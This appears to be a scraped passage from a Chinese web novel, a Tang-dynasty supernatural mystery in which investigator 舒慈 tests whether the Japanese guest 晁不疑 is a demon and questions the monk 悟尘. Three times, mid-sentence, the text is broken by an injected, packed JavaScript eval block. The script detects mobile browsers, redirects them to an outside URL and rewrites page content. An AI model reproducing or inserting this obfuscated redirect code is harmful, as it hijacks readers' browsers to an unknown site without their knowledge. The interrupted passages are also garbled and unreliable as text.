“谁?”其余二人异口同声。 “但我看你今日只能请玉莲邀我出来,想必你要见到这人也是极为困难。你手头现下又没有证据,想要继续查案肯定难上加难。”杜月恒盯着手中摇晃的酒杯,徐徐说道,“不过,你只要帮我一个小忙,我便带你去见他。” 说罢,他抬起眼睛,注视着舒慈,将杯中酒一饮而尽。 5. 第二回 拂花楼奇遇(下) “杜公子请讲。”舒慈拱了拱手道。 “我要你帮我辨一个人,是人,还是妖。” 舒慈一时语塞,“杜公子,在下虽然有一双异瞳。但大理寺有大理寺的规矩,还想请问,你要辨的是什么人?” 杜月恒思索片刻,“我既要请舒姑娘帮忙,也就不瞒你。我要辨的人叫晁不疑,这人是我家的门客。” “为何怀疑此人是妖?” 杜月恒将空酒杯立在桌上,抬头望天道,“我的直觉。” 舒慈忍住嗤笑出声,还想再争辩。杜月恒又说:“今日算你运气好,鸿胪寺少卿杜月昇在府上设宴庆生,晁不疑此刻正在参加宴会。 “我自然可以带你去,只是你这身衣服不行,一身夜行服,在宴会上太扎眼。玉莲,可否请你将衣服借舒姑娘一用?舒姑娘扮成舞伎,随我走一遭。” 舒慈急了,这杜公子不把自己当外人,将她安排得明明白白,“杜公子,恕难从命,这夜行服是官家制式,不可随意更换。我不是不帮杜公子这点小忙,但可以择日再……” 杜月恒转了转立起来的酒杯,空酒杯便在桌上滴溜溜地旋转起来。 他打断她道,“如果我说,牡丹姑娘与我提起的那位公子今日也在这宴席上,你是去,还是不去?” 舒慈哑口无言。 *** 戌时过半,长安城的街市已是四下无人,万籁俱静,天上一轮明月高悬。正所谓长安一片月,万户捣衣声,坊间只听得那尚书令杜府传中出阵阵歌舞伎乐、笑骂交谈之声。 宴席已近阑珊,杜府门口此刻正有宾客送别。 杜月恒领着舒慈大摇大摆地便往里走。 舒慈已经换上了玉莲柳绿色的襦裙缦衫,又戴上了一层面纱。毕竟这府上宾客盈门,尽是官场要员,若是出了什么差错她可担待不起,只能犹抱琵琶半遮面,祈祷没人认出她来。旁人只当她是跟着杜二公子而来的舞伎,一路畅通无阻。 进了杜府大门,便不断有人拱手点头与杜月恒打招呼道,“二公子。” 杜月恒顾不上搭话,只是点点头,目光直视,带着舒慈沿着回廊左拐右拐,急匆匆地往前走。 舒慈这才反应过来,这鸿胪寺少卿杜月昇不正是杜月恒的兄弟吗?这人兄弟庆生,他却跑到拂花楼祭奠一个歌伎?思及此,她不由得犹疑地扫了他一眼。 “我素来与兄长不睦,”杜月恒好似感觉到她的眼神,沉下脸道,“又最讨厌这酒席宴会,应酬接待、逢场作戏、迎来送往,有什么好玩的?我是真心将牡丹姑娘当朋友,心里难过,才去了拂花楼。” 说话间,两人来到设宴大厅一侧的回廊,从这个角度堪堪可望见里面,宾客们已经散作三三两两,正喝酒谈天。 正座的男人模样与杜月恒有六、七成的相似,只是脸型更方正,眼神锐利,多了几分正气凛然。 “那是我哥。”杜月恒抱着手,朝着那男人的方向抬了抬下巴,“他左手边第三个便是我要你看的人,晁不疑。” 舒慈顺着他的眼神望去,晁不疑一人独坐,脸部轮廓立体,蓄着络腮胡,双颊喝得通红,双眼微闭,似在休息。 舒慈皱了皱眉,“杜公子,我这异瞳是可以辨妖,但不是千里眼啊,这距离太远,我看不清。” 杜月恒扁扁嘴,“那你要多近才能看清?要不,我一会带你进去,就说你是拂花楼新来的舞伎,你便趁机看看?你想叫什么花名?绿梅如何?” “你带我进去,我与晁不疑面对面,突然眼睛金光一闪,怕这一屋子的人都要当我是妖怪邪祟,像杜公子先前一样,将我抓个正着,那可怎么办?”舒慈翻了个白眼。 “那一会我们跟在他后面。你能从后脑勺看吗……” 杜月恒正同舒慈论得激烈,突然不响,望着大厅内,皱起了眉,露出极为困惑的表情。 只见,一个苍白瘦高的男子正俯身在晁不疑耳边说话,语毕,两人便欲起身离席。 “怎么了?” “跟晁不疑说话的,就是牡丹提起过的那位公子……中书令高大人的儿子——高湛。” 听了这话,舒慈一闪身,立刻跟上那两人的身影。杜月恒紧随其后,嘴里嘟囔着,“我就说那个晁无疑有问题吧……” 杜月恒刚走出回廊,便被熟人拦下,要寒暄两句。舒慈不管他,全副精力都在那两人身影上,大步流星,随着他们走进了庭院。 只见,晁不疑和高湛一同走进了院中的一间凉亭。舒慈便蹑手蹑脚地躲在旁边的一块假山后,隐在摇晃的竹影中。那两人的谈话随着晚风吹进了舒慈的耳朵里。 只听,高湛先开口说:“晁先生,在下今日是有一事想请教。” “高先生但说无妨。” 舒慈将头移出假山一点,只让这两人出现在左眼的视野中,随后聚精会神于左眼。 灰色的瞳孔又是金光一闪。 那两人身后皆显现出模模糊糊红色的人形。 这两人都是货真价实的人。 高湛似乎察觉到什么,往假山一瞟。舒慈已经再次悄无声息地藏在假山竹林的阴影中。 “高公子,你这是怎么了?” 高湛拍了拍自己惨白的脸,振作精神道,“我刚刚似乎看到,有什么光亮一闪,兴许是野猫的眼睛吧……也或许是我又出现了幻觉,晁先生……” 他的声音颤抖起来,牙齿碰着牙齿道,“我今日似乎也是出现幻觉了,我竟然听到了虫子说话……那声音竟与死人一模一样……” “高公子所说是何人?” 高湛不答,语无伦次道,“那虫子一直叫我的名字,那人的死和我一点关系都没有啊!为何要来寻我……我一定是遇上了什么妖物邪祟!这世间怎么会有会说话的虫……” 他几乎要哭出来,“……我就是想问先生,在你们倭国遇到这种事情要怎么办?是否有什么驱邪除鬼的法子?” “抱歉,高公子,我虽然来自倭国,但不是法师,不会驱鬼的法子。”晁不疑道,“我想高公子或许是悲伤过度,思念成疾,才会以为自己听到虫子发出故人的声音。” 高湛绝望地大声抽泣了一声。 晁不疑又说:“不过我倒是听说过这样一个故事,临济禅师曾告诫弟子,‘欲得如法见解,但莫受人惑,向里向外,逢佛杀佛,逢祖杀祖,逢罗汉杀罗汉,逢父母杀父母,逢亲眷杀亲眷,始得解脱’。(注)” “逢佛杀佛,逢祖杀祖,逢罗汉杀罗汉,逢父母杀父母,逢亲眷杀亲眷……”高湛呆若停滞般,重复着这句话。 “正是如此,我想高公子应是被自己的执念迷惑,所以看不清真相。若不能手起刀落,杀死执念之源,怕是会深陷幻觉之中,不能自拔。” 高公子又默默重复了那高升莫测的禅语,如醍醐灌顶,激动地握住晁不疑的手,“晁先生,人人都说你精通佛法,果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764947|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然名不虚传!如今真是解了我的困惑。今日多谢,多谢!” 说罢,二人又有说有笑,走出凉亭,往宴席而去。 舒慈在假山后面,仍是不解其意,一头雾水,前一日才遇上一只罗里吧嗦的石头佛头,今日又听到这倭国人满口佛偈,她最近真可谓是佛缘不浅。 她正苦苦思索之时,那庭院中不知何时多了个人在她身后,高声问道:“你是何人?在此处作甚?” 舒慈一个激灵,转身便撞上那张酷似杜月恒的脸,今日宴会的主人——杜月昇。 “在下……啊不,民女,拂花楼……舞伎,绿梅。” 舒慈暗道不好,刚想拱手,又想起自己现在是舞伎,便改成半蹲低头行礼。 “哦?你是舞伎?我瞧你身姿挺拔,全无舞伎柔美之态,你跳的是什么舞?”杜月昇眯起眼睛打量她说。 这杜家的公子真是一个比一个难缠,舒慈心中骂道,仍是轻言细语,“民女学的是胡人的战舞。与一般的舞蹈不同,战舞讲究的便是要身姿挺括,气势如虹。” 杜月昇冷哼一声,又问:“又是为何头戴面纱?” 舒慈心下恼火至极,又胡编乱造道:“民女今日脸上长了火疮,模样不甚好看,怕吓着各位公子。” “既然身体有恙,为何今日不休息,还要来参加宴会?” “公子有所不知,民女家里还有弟弟妹妹,处处都指着我用钱,别说今日是脸上长火疮,便是最后一口气也得提着出来赚钱。”说罢,甚至抬手擦了擦眼睛,作凄苦无依状。 “那你不在宴会中,在这做什么?” 这时,杜月昇的审问被一声喊叫打断,“绿梅!你怎么在这里!我找了你半天。” 杜月恒从回廊里窜出来,将舒慈的手一拉,便想离开。 杜月昇伸手一拦,皱眉喝道,“站住!” 杜月恒不耐烦地转过头,“怎么了?” “方才开席时你不在,竟是去了拂花楼?”杜月昇拧紧眉头,拉长了脸问道。 “是。怎么了?”杜月恒答得理直气壮。 “你……” 他哥被噎得说不出话,捏紧了拳头。 舒慈见兄弟二人之间剑拔弩张,怕是脱身困难,急中生智道,“杜公子您误会了,杜二公子今日到拂花楼,本意是想请牡丹姑娘赴宴,为您的宴席增光添彩,可惜,牡丹姑娘昨日遭遇不测……其他姐姐妹妹都没空,杜二公子便只能寻了我,可我也是个不争气的,脸上长了火疮也就罢了,进了这杜府,见处处都是好生气派,不知不觉迷了路,误了宴席……” 她又是作抬手拭泪状,“都怪我,都是我不好,害得二位公子生出了嫌隙……” 杜月恒目瞪口呆,看得一愣一愣的。 他哥的脸色倒是缓和不少,从鼻子里哼了一声,“你的心意哥哥领了,下次不必客气。你人能到场,比什么都好。” 杜月恒僵硬地嗯了一声,“那……那我,先将绿梅姑娘送走。”说完,拉着舒慈便往外走。 —— 小剧场一则 杜月恒:可否借舒姑娘的异瞳一用。 舒慈:亲亲,麻烦你走一下大理寺OA。领导点完我这边就可以用了呢。 —— 注:该典引自《临济录》。临济法师实际生活在唐中后期,临济宗是唐末才形成。但在我虚构的大唐里,就让我们假设故事发生在临济法师之后吧~ 6. 第三回 晁不疑 舒慈和杜月恒出了杜府,心照不宣此处人多嘴杂,沉默着并肩沿着长街不知道走了多久,直到听不到杜府嘈杂的宴席歌舞声。 初春的长安夜里仍是冷的,微风带起了舒慈脸上的面纱,她这才想起来,伸手将面纱掀开,露出那张凌厉秀丽的脸。 杜月恒呆呆地望着她,舒慈开口道:“我方才看过了,那晁不疑确实是人。” 杜月恒这才反应过来,“啊”了一声,脸上浮现出一丝失望。 “杜公子现在可以告诉我为何怀疑晁不疑是妖了吗?” 舒慈把头发放下来了,似檀木般漆黑的发丝随晚风飘动。 杜月恒呆呆地嗯了一声,徐徐回忆起来:“半年之前,我哥向我父亲引荐了这位晁不疑。我哥当时说,这位倭国人精通佛儒两法,想效仿先祖时的倭国人晁衡,也在朝中谋个一官半职。 “我父亲酷爱佛法,和晁不疑见过几次面后,便对此人赞不绝口,夸他知识渊博,博学多识。可是,如今想要在朝中任职,光靠举荐已是不太容易。于是,此事便搁置了下来。直到三个月以前,我家出了一档怪事。”杜月恒停顿了一下,犹豫之后,仍是和盘托出:“三个月之前,我家的一个下人得了一种怪病。” “怪病?” “是。那下人本是我家的一名厨子,人虽然不错,但是天性好赌。府上的下人皆知,经常前一日发的月钱,第二日便在赌场挥霍干净了。发病前一天晚上,他与府上的人喝了酒,照例去了一趟赌坊。第二天,身上各处竟生出了大疮,第三天开始溃烂流血,散发出死鱼一样的腥臭味。我母亲心善,便请了各种郎中都来看过,开过许多药,仍是不好。其他下人们怕他,便把他关在柴房里。想是那溃烂之处极痛,半夜时不时能听到他痛苦的惨叫,再这样下去,他几乎快要全身溃烂而死。我母亲实在看不下去,便求父亲去问了御医。可御医的方子也不管用。母亲只能让他一个人住在柴房,每日让其他人给他送饭,只当在他死前再多做些善事。 “可有一日,晁不疑到府上来,听说了这件事,便说让他来试试。他叫下人都退出柴房,不许人看,但我实在好奇,便要求在一旁,绝不打扰。他拗不过我便答应了。 “开始之前,他叫人准备了笔墨、短刀和一条大鲶鱼。他叫那下人在柴房的地上躺好,之后便用刀柄将鲶鱼敲晕,放在那人旁边。接着,在那下人还完好的皮肤上写满了符号。准备妥当后,便双手合十,不停地念诵着咒语,那咒语的声音高低起伏,一会高昂,似在驱魔,一会低沉,像在求饶。突然间,他大喝一声,拿起短刀,朝下人的左腿胫骨处砍去,那人立刻痛呼不已,小腿的皮上裂开一条伤口——但奇怪的是,竟然没有流出血来!另一边的鲶鱼尾巴上,却立刻裂开一条伤口,汩汩地往外冒血!可是鱼怎么会有那么多的血? “晁不疑又接连朝下人的右腿、腹部、前胸砍上三刀,那鱼肚子上也跟着出现了三条刀砍一般的伤口,不停地涌出鲜血。等鱼的鲜血流尽,他放下刀,双手合十,又开始嗡嗡嗡地念咒,咒语声毕,那鱼腹部的一道伤口竟然逐渐越开越大,将鱼撕成了两半……接着,从鱼头里面,爬出来一只虫子。” “虫子?!” “是。一只黑色的虫子,还不等我看清,晁不疑就手起刀落,一刀将它钉在地上,那虫子挣扎了两下,竟然化作一缕黑烟,就这么消失了。” 舒慈瞪大了眼睛,这晁不疑的故事竟又与虫子有关? “那虫子可是像蜈蚣一般,有百足?” “不,那虫子大概像一种黑色的蚯蚓,是在地上扭曲着爬行的。”杜月恒接着说,“我问他那虫子是怎么回事?他道,那下人中的是一种幻蛊,他体内根本就没有什么虫,只是有人在他体内种下了贪念。他得的只是普通的疥疮,但心中有贪念,那么他的病自然是无药可医。晁不疑走了后,那人又用了普通的药方,很快便痊愈了。后来,我到下人中间打听,那人果真之前在赌场输了一大笔钱,身家性命都赔了进去,想是本来就没有继续活下去的打算。” “因此,你便怀疑他这一套耍的是妖术?” “不,”杜月恒摇了摇头,“这故事还没说完——我实在想弄清楚他说的是真是假,便偷偷抄下了他写在那下人身上的符号。” “那是不是倭国文字?” “不错。”杜月恒赞许地点了点头,“我又到处打听,问到了高湛那去。” “为何要找高湛?”舒慈惊讶。 “我和高湛从小便是朋友。你别看他今天这个样子,他早早地便考取了功名,现在在国子监当差。我想他见识多,于是向他打听,没想到他一眼认出这是倭国的文字。但他只认识大概,并不通晓,便告诉我,他认识一位拂花楼的姑娘,父亲是倭国人,母亲是唐人,会讲倭语。” “那是牡丹姑娘?” “是的,”杜月恒赶紧摆摆手,撇清关系似的,“我与牡丹姑娘确实是这么认识的,但我与她,确实是只有学习倭语的情谊,并没有其他的事情。再说,我当时就知道她和高湛……我还能有其他想法吗?” 舒慈并不关心,只沉浸在案情里,“那,牡丹姑娘的身世,并不是她亲口告诉你的?” 杜月恒稍加回忆:“是,牡丹姑娘从未亲口告诉过我。” “那晁不疑在那下人身上所写,到底是什么?” “牡丹姑娘说,我不懂倭语,将字的顺序全部抄错了,要等她回去研究一番。我又将晁不疑治好怪病的事情告诉了高湛,你猜他说什么?他说,那晁不疑曾经也上过他家!” “什么?!” “那晁不疑一心想在朝廷当官,早就跑遍了整个长安。之前,他也拜访过中书令高府,不久之后,高湛家也出了怪事——一个下人得了怪病,晁不疑同样也是毛遂自荐,治好了他的病。只是,他不让人围观,高湛也不感兴趣,所以,高湛并不知道他治病时还有如此奇事,只知道他会治病的异术。天下哪有这样巧的事情?我便猜想是不是晁不疑与这两个下人勾结,演的一出骗术。我去找了那两个得病的下人,但他们异口同声,发誓并不认识晁不疑,也没有收过晁不疑的好处。 “最近,晁不疑来我家越发地频繁,我更觉得他如此急切地想要入朝做官,一定有什么阴谋。便怀疑他是不是妖怪……”杜月恒挠了挠头,“这才麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764948|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦了舒姑娘。” “不妨不妨。那后来,牡丹查出来那符号是什么意思了吗?” “后来,牡丹终于将那文字顺序排好。她说那应该是段经文,但她不解其意,又不知怎么翻译成唐语。没办法,我只能去问晁不疑,他自然是装模做样地兜圈子,不愿意告诉我。我猜想,那经文应当是从唐语的典籍翻译而来,牡丹不解其意,是她本来就不知道这唐语的原文。于是,我便去了鸿胪寺,请一位既懂佛法,又懂倭语的留学僧帮我看看。结果,他也说是没看过,找不到对应的典籍。因此,我便决定自己学习倭语,弄明白这到底是怎么回事。” 舒慈眉间如飘来一朵阴云,将她整个人笼罩其中,她陷入苦苦的沉思,晁不疑、高湛、牡丹、虫子、佛偈、蛊虫、贪念……一切像一面打碎了的镜子,散在她的脑海里,反射出千万张她的脸,却怎么样也拼凑不起来。 “你还没说,刚刚你偷听高湛与晁不疑讲话,可是听到了什么?”杜月恒打断她的思绪问道。 “什么偷听,”舒慈道,“办案的事情,不能叫偷听。” 接着,她便将高湛听到虫子用死去之人的声音说话一事告诉了杜月恒。 杜月恒大惊,猜测道:“死去之人,难道是牡丹姑娘的声音?不,虫子怎么可能说话?他是不是悲伤过度出了幻觉?” “高湛还说,那人的死与他无关,不知道为何要来寻他。”舒慈回忆着高湛的话,“他的样子极为害怕,与其说是悲伤过度,不如说更像是担心被人寻仇。” “寻仇?” 舒慈点点头,“我猜,高湛确实是玉莲所说的,与牡丹姑娘约好私奔之人。” “可你说过,那寺中的石妖并未见到牡丹等的人出现。” “没错。高湛也许与牡丹姑娘约好一起私奔,但他并没有出现。”舒慈说出自己的猜测:“高湛可能认为,正是他约了牡丹姑娘在青龙寺等他,但自己并未现身,才导致了牡丹姑娘一人,惨遭杀害。因此,他才会说那人的死与他无关,但又害怕被寻仇。” 舒慈顺着这思路一边思索,一边喃喃自语道,“所以,高湛才特意找上了晁不疑替他驱鬼。可晁不疑明明会这异术,为什么要拒绝高湛?这是在中书令面前表现的好机会啊……他为什么要说,一切皆是因高湛的执念而起?难道真是高湛过于愧疚而产生了幻觉?那晁不疑为何又要对高湛说什么临济法师,什么逢佛杀佛什么的?” 杜月恒接话道:“晁不疑可说的是,‘欲得如法见解,但莫受人惑,向里向外,逢着便杀。逢佛杀佛,逢祖杀祖,逢罗汉杀罗汉,逢父母杀父母,逢亲眷杀亲眷,始得解脱,不与物拘,透脱自在。’” “对对对……就是这个!但是,我怎么记得他没有说最后两句?” 这下换杜月恒眉头紧皱,“这话的意思是,若有执念,不管是对万事万物,还是对佛祖罗汉,都应破除斩断。杀并不是指真的杀人,而是指放下。这几句合起来,才是完整的。可是……” 他顿了顿,大惑不解,“可是,晁不疑为什么要省略最后两句?” 舒慈摇头,打了个冷战,心中升起了不好的预感。 7. 第四回 悟尘 翌日,舒慈一早便去了大理寺点卯。画完卯,她没有着急回缉妖司,而是先去了证物房。 一进门,便看到包裹石妖佛头的包袱放在角落的一方八仙桌上。 舒慈将包袱皮打开,那佛头正闭着眼睛睡觉。她拍了拍它的脸:“哎,菩萨,起床了。” 那佛头惊醒,睁开眼睛,眼珠子骨碌碌地一转:“官奶奶,怎么是你?我在这包袱皮里面已经暗无天日了不知道多少年岁,小佛到底做错了什么?难道要在这包袱里面了结此生?官奶奶,你可替我做主啊!” 见那佛头又开始说个没完,舒慈便佯装要把它塞回去:“首先,你在这包袱里面就呆了两天。其次,你老实回答我几个问题,我便不把你放回去。我问什么,你答什么,不准自由发挥!” “好好好,”那佛头的眼睛转得飞快,“您说,您说,小佛知无不言,言无不尽也。” “你那佛身里面,可曾放过什么东西没有?” “啊,”佛头眼睛向上一翻,作沉思状,“小佛还是一块石头时,还未修出五感灵识,只模模糊糊间能感觉到有人在我的身上雕刻,待一睁眼,就已经坐在青龙寺里面了。这佛身里面有什么东西,小佛真不知道。” “好,”舒慈又问:“你确定当晚除了死去的那姑娘、推你的人和查案的人,并无其他人进过佛堂?” “小佛印象中确实是如此。小佛的脑袋虽然滚到后门,但小佛的耳朵可是相当灵敏!有任何人再进佛殿我都能知晓,毕竟……” 不等它说完,舒慈便一把将它又塞回包袱里面。那佛头再次闷声闷气地喊叫起来。舒慈不管它,又去了缉查司查了前日报案时的记录。 那报案的云水僧法名悟尘,在天仁寺挂单。她心念一转,这天仁寺正是杜月恒所说,青龙寺的本寺。 于是,她转头又去了大理寺少卿处,见大理寺少卿上朝未归,便将这两日之事整理成卷宗,交主簿呈大理寺少卿阅。 回了缉妖司,敖瑞正懒洋洋地趴在门口。小鸟三宝蜷在它的头顶,随着小狗的呼吸一起一伏。舒慈知道她的这两位同僚,即使在睡梦中也是极警惕——一只耳朵站岗,一只耳朵放哨。 舒慈轻轻地咳嗽了一声,“敖瑞,三宝,一会我要去一趟天仁寺,查一查报案的那个云水僧。你们一会去一趟中书令高府,轮流守着,一旦出了什么情况,便赶紧来找我。” 敖瑞的一只耳朵左右动了动,三宝哼唧了一声,表示它们听到了。 *** 这天仁寺位于靖善坊,规模庞大,伽蓝宏伟。据传,先祖时,曾有高僧在此翻译西域佛经,设坛驻寺讲经,还有皇家贵族曾在此出家修行。 山门高大,雕刻繁复,色彩艳丽。左右两边各是钟楼、鼓楼,制式严谨,庭院开阔,列植松柏,正中一只香炉升起袅袅香火。庭院尽头便是大雄宝殿,屋顶遍铺琉璃瓦,两边鸱吻似大鹏展翅,气度恢宏,庄严肃穆。 舒慈一进门,便见天仁寺内正是热火朝天,僧人们忙着打扫佛殿,搬运瓜果贡品,装饰各色经幢,颇为忙碌。 她便拦下一个形色匆匆的小和尚,问道:“小师傅,请问今日为何如此热闹?” 那小和尚答:“施主有所不知,再有十来天便是佛诞节,寺里正准备着呢。” 舒慈哦了一声,取出大理寺的文牒:“打扰小师傅了,本人大理寺舒慈。前日,天仁寺分寺青龙寺出了一起命案,青龙寺殿中的佛像也一齐被毁了,我想跟寺里的师傅打听打听情况,小师傅可否行个方便。” 小和尚听了,便请舒慈稍事等待,快步进了佛堂。过了快一刻钟,那小和尚又回来,请她往讲经堂而去。 此时,讲经堂的华严三圣佛像前,已经等着一位僧人。 他年约五十岁上下,身批青莲色袈裟,绣金线云水纹,胡须尽白,神情淡然。见了舒慈,他单手竖起行礼道:“贫僧天仁寺住持,觉顺。” 舒慈心里一惊,并未想到住持会亲自接见,赶忙双手合十,弯腰行礼,“觉顺大师多礼了,在下大理寺舒慈。” 觉顺大师点点头道:“舒施主,青龙寺命案一事我已听挂单在本寺的云水僧悟尘讲起。阿弥陀佛,人命关天,本寺自然鼎力相助。” 这悟尘倒是跑得快,舒慈暗自腹诽。 又听觉顺大师道,“还想请问,方才舒施主与小沙弥所讲,佛像被毁一事又是怎么回事?” 这悟尘竟未提起过佛像之事?舒慈疑惑间,便向觉顺大师讲了那佛像不知何时、被何人推倒,摔了个粉碎之事。 当然,佛像是石妖的事情自然是省略不提了。 觉顺大师听后,淡然之态中闪过一丝震惊,“什么?” “我听说大寺的佛像之中经常会藏有经文、舍利之类的宝物。现场并没有找到类似的东西,青龙寺已经荒废,无人可问。只能到本寺来,确认是否有失物,完善大理寺办案流程。” 觉顺大师定了定神,答道:“那佛像之中确实有伏藏。” 接着,他回忆道—— 二十年前,他的师兄觉慧大师圆寂。 天龙寺按照觉慧大师的遗嘱,在长安城外斥资修建青龙寺为分寺。 天仁寺又委托长安城最好的佛雕师雕刻石石佛造像,并将觉慧大师的舍利、译著经书纳入其中。高僧的舍利向来被民众看作无上功德,正是因此,青龙寺起初香火鼎盛,信众如云。 ——舒慈心道,看来,这佛像被打碎,果然是因为有人要盗走其中的伏藏。 觉顺大师叹了口气,又道—— 前几年,圣人抑佛扬道,命令长安城内的寺庙,仅保留香火鼎盛的本寺,其余分寺皆须关闭。无法,天仁寺只能于一年前将青龙寺解散。 青龙寺至此香火凋敝,日渐破败,成了赶路人歇脚之处,也算是善行圆满。 “真是没想到……竟有人打碎寺里的佛像。”觉顺大师语气中带了几分悔恨,“定是有人将师兄的遗物盗走……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764949|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是深深一个行礼道,“舒施主,还请大理寺费心。” “这是自然。”舒慈心中已对这偷盗之人有了判断,便道:“觉顺大师,我还想请教悟尘师傅当日所见。” 觉顺点点头,请她至客堂稍等,他请人叫悟尘来,便转身离去。 舒慈出了讲经堂,听见空中传来“簌簌”的声音,抬头回望,便见屋顶后面飞出两只鸽子,一只向北,一只向南而去。 *** 客堂接待的僧人说那悟尘正在修行辩经,不便打扰,请舒慈稍事等待。这便又是一阵好等,约莫半个时辰,那悟尘才现身。 他大概三十岁上下,脸型方正,眼神平静坚定。他行礼后便说:“舒施主,贫僧悟尘。” 舒慈懒得与他礼来礼去,于是直奔主题道:“悟尘师傅,今日前来便是想知道当日在青龙寺到底发生了什么。” 那悟尘便又讲述了一遍当时的情形,与敖瑞前日所述一致。 “悟尘师傅,当日已是子时,为何行路匆匆,半夜才寻落脚之处?” “下月是佛诞节,天仁寺将举行佛像重度金身之仪式。我理应提前二十日到天仁寺礼佛诵经,但因路上遇到波折,耽误了几日。所以才连夜赶路,于前日子时落脚青龙寺。” “悟尘师傅当时没有发现佛殿之中,除了尸体之外有何异样?”舒慈提高声音问。 “贫僧没有注意。当时是凌晨,月光晦暗,佛殿内又无灯光,”悟尘不卑不亢,“我看到那女施主尸体,慌乱之中,或许遗漏了许多。” “你见了那惨状,难道没有想到为她念诵往生咒?” 悟尘直视着舒慈说道:“贫僧当时过于慌乱,确实忘记教义。昨日我已为那女施主念诵祈祷过了。” 舒慈观察着他,见他仍是神色平静,语气笃定,对答如流,毫无撒谎之态。 但舒慈心中肯定,石妖分明说过,牡丹死后,有人潜入佛殿将它打碎,之后便只有缉查司的人进来。 那么打碎佛像之人便只能是眼前的悟尘。 “你一个出家之人,竟没有注意到佛殿之中没有佛像?”舒慈厉声问道。 悟尘不答,亦是不惧,眼神中看不出一丝情绪,只有不知从何而来的坚定,仿佛在审视舒慈,思考为何她有此一问。 良久,悟尘答:“贫僧没有注意。” 舒慈一阵悔恨,只怪今日大理寺少卿不在,未取得搜查令,不然定将这和尚的行李物品全翻个底朝天,查个明白。 正当她思忖之际,屋外传来一阵喧嚣人声,打断二人的对话。 一群人身穿明光甲,手执仪刀,趾高气昂地闯进来,一把推开客堂大门。舒慈一看,竟是长安城的金吾卫。 带头的男子气派十足,高声问道:“谁是悟尘!” 悟尘双手合十,仍是笃定,“正是在下。” 立时,他便被金吾卫们团团围住。 “那你便跟我们走一遭吧!” 8. 第五回 高湛(上) 不等舒慈反应,那一群金吾卫带着悟尘便往外走。 “哎,哎,这位大哥请稍等!”舒慈急了,这大理寺的话还没问完,这金吾卫又是哪里冒出来的。 她亮明身份,仍是轻声细语向带头的人道:“在下大理寺舒慈,正在此询问这位悟尘师傅。他是前日一起命案的重要证人,我们大理寺还在办案中……这……金吾卫的各位,这就给我带走了,怕是不妥当吧?” 那带头的金吾卫,虽穿着沉重的铠甲,但仍见身姿挺拔,不苟言笑,眉宇间自生出一股威严,从容不迫道:“在下左金吾卫郎将范长风。舒司务,长官有令,须即时带悟尘回去问话,今日多有得罪。” “敢问范郎将,金吾卫是因何缘由,要将大理寺的证人带走?”舒慈先礼后兵,朗声问道。 范长风撇了她一眼,不做回答,只朝其他人打了个手势,众人便拥着悟尘往外走。 舒慈立时气得头晕眼花,只是此刻手头既没有大理寺的追捕令,又是双拳难敌四六八手,只得追着跑出去,对着那悟尘的背影,左眼金光一闪,用异瞳辨其真身。 悟尘背后那模糊的红色影像与他本人别无二致,此人非妖也。 舒慈叹了口气,看着这群人的身影消失在街市。这时,天边刚巧飞来一抹碧蓝色。 三宝“扑簌簌”地,稳稳地落在舒慈肩头,着急地低语道:“阿慈,高府果真出事了!” *** 舒慈快马加鞭地往高府赶,三宝凑在她耳边将今日所发生之事一一道来—— 今日午时,三宝与敖瑞便去了高府门口守着。未时过后,就看到高府的下人突然将大门反锁。 三宝觉得事情古怪,便飞入了高府内,一探究竟。 却见庭院内,高家公子高湛跪在地上,手中抱着一只巨虫。 那虫形似蜈蚣,有着百足,却有蛇一般的长短。虫的身上插着一把刀,想是高湛用这刀将巨虫了结。场面煞是诡异惊悚。 高湛一边痛哭流涕,一边凄声喊叫着:“我杀人了……我把她杀了……有道是,逢亲眷便杀亲眷!我何错之有……不,不,我杀了人,我也该死!我也该死……” 高夫人见状,赶忙叫下人去中书省通知老爷,又派人将府上的出入口守牢,不许所有人进出,待老爷回来再说。 那高湛伏在地上,一会磕头求人报官,让大理寺的将他抓起来行死刑,说是要一命偿一命。一会跪在高夫人面前,求她救救自己,他什么也没做错,他还不想死。 高夫人以为儿子得了癔症,心痛不已,不住地掩面拭泪,叫人将高湛手里的巨虫和短刀夺下,扔得远远的。她死死地抱住儿子,没想到高湛挣脱开来,又去寻那短刀,准备割喉自尽。无奈之下,高夫人只能叫人将他绑在椅子上,移到大堂中。 高湛虽被绑住,口中仍是痴痴地重复:“奉佛杀佛,逢祖杀祖,逢父母杀父母……逢亲眷杀自然亲眷!……” 又过了一个时辰,高大人赶回来了,见了此情此景,又是吹胡须,又是拍桌子,正焦急之际,一个下人献计说,之前府上也有人患过癔症,是一位倭国来的先生救了他。高大人一听,只能死马当做活马医。 